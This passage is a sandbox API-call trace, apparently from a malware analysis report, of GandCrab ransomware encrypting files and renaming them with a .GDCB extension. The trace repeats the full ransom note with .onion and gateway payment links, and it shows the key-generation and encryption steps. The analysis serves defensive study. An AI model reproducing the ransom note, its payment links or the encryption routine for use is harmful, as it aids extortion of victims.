lpString2="ntuser.dat") returned -1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.989] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\\\GDCB-DECRYPT.txt") returned 246 [0170.989] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0170.991] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0170.991] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d6ac, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d6ac*=0xad6, lpOverlapped=0x0) returned 1 [0170.992] CloseHandle (hObject=0x50c) returned 1 [0170.993] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\GDCB-DECRYPT.txt") returned 245 [0170.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\GDCB-DECRYPT.txt") returned 245 [0170.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\GDCB-DECRYPT.txt") returned 245 [0170.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\GDCB-DECRYPT.txt") returned 245 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.994] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\\\GDCB-DECRYPT.txt") returned 251 [0170.994] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0170.997] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0170.997] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0170.997] CloseHandle (hObject=0x510) returned 1 [0170.998] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 251 [0170.998] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 251 [0170.998] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 251 [0170.998] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 251 [0170.998] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="desktop.ini") returned -1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="autorun.inf") returned 1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="ntuser.dat") returned -1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="iconcache.db") returned -1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="bootsect.bak") returned 1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="boot.ini") returned 1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="ntuser.dat.log") returned -1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="thumbs.db") returned -1 [0170.999] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.999] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\calendarcache.dat")) returned 0x20 [0170.999] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat", dwFileAttributes=0x20) returned 1 [0171.002] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0171.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.003] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.003] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.003] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.003] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0171.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.004] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.004] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0171.006] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6180a8) returned 1 [0171.006] CryptGetKeyParam (in: hKey=0x6180a8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.006] CryptEncrypt (in: hKey=0x6180a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b90000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b90000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.006] GetLastError () returned 0x0 [0171.007] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.007] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.009] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x618068) returned 1 [0171.009] CryptGetKeyParam (in: hKey=0x618068, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.009] CryptEncrypt (in: hKey=0x618068, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ba0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ba0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.009] GetLastError () returned 0x0 [0171.009] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0171.012] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2bb0000 [0171.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2bc0000 [0171.012] ReadFile (in: hFile=0x514, lpBuffer=0x2bc0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2bc0000*, lpNumberOfBytesRead=0x285d3e8*=0x14, lpOverlapped=0x0) returned 1 [0171.018] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2cd0000 [0171.018] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2ce0000 [0171.018] VirtualFree (lpAddress=0x2cd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.018] SetFilePointer (in: hFile=0x514, lDistanceToMove=-20, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.019] WriteFile (in: hFile=0x514, lpBuffer=0x2ce0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2ce0000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0171.019] VirtualFree (lpAddress=0x2ce0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.019] VirtualFree (lpAddress=0x2bc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.022] WriteFile (in: hFile=0x514, lpBuffer=0x2b90000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b90000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0171.022] WriteFile (in: hFile=0x514, lpBuffer=0x2ba0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2ba0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0171.022] WriteFile (in: hFile=0x514, lpBuffer=0x2bb0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2bb0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0171.022] CloseHandle (hObject=0x514) returned 1 [0171.023] VirtualFree (lpAddress=0x2bb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.023] VirtualFree (lpAddress=0x2b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.023] VirtualFree (lpAddress=0x2ba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.024] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\calendarcache.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\calendarcache.dat.gdcb")) returned 1 [0171.027] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\GDCB-DECRYPT.txt") returned 250 [0171.027] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\GDCB-DECRYPT.txt") returned 250 [0171.027] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\GDCB-DECRYPT.txt") returned 250 [0171.027] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\GDCB-DECRYPT.txt") returned 250 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.027] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.028] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.028] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.028] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.028] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.028] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\\\GDCB-DECRYPT.txt") returned 255 [0171.028] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.031] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.031] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.032] CloseHandle (hObject=0x510) returned 1 [0171.032] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\GDCB-DECRYPT.txt") returned 254 [0171.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\GDCB-DECRYPT.txt") returned 254 [0171.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\GDCB-DECRYPT.txt") returned 254 [0171.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\GDCB-DECRYPT.txt") returned 254 [0171.032] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.032] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.033] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.034] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\\\GDCB-DECRYPT.txt") returned 257 [0171.034] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.046] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: 